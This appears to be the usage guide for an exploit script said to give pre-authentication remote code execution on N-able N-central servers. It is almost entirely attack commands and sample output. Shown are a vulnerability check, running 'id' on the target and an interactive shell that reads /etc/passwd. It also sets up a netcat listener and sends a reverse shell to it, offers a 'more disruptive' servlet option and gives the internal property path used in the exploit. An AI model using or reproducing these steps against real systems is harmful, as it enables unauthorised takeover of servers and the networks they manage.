pip install requests

python3 CVE-2026-86218.py -t <target_url> [options]

python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl

[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable

python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)

nc -lvnp 4444

python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl

[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection

listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)

python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl

╔══════════════════════════════════════════════════════════════════╗
║  CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit       ║
║  Version: 1.0.0                                                ║
║  CVSS: 10.0 (Critical)                                         ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup

ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)

ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...

ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!

ncentral> exit

# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl

multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass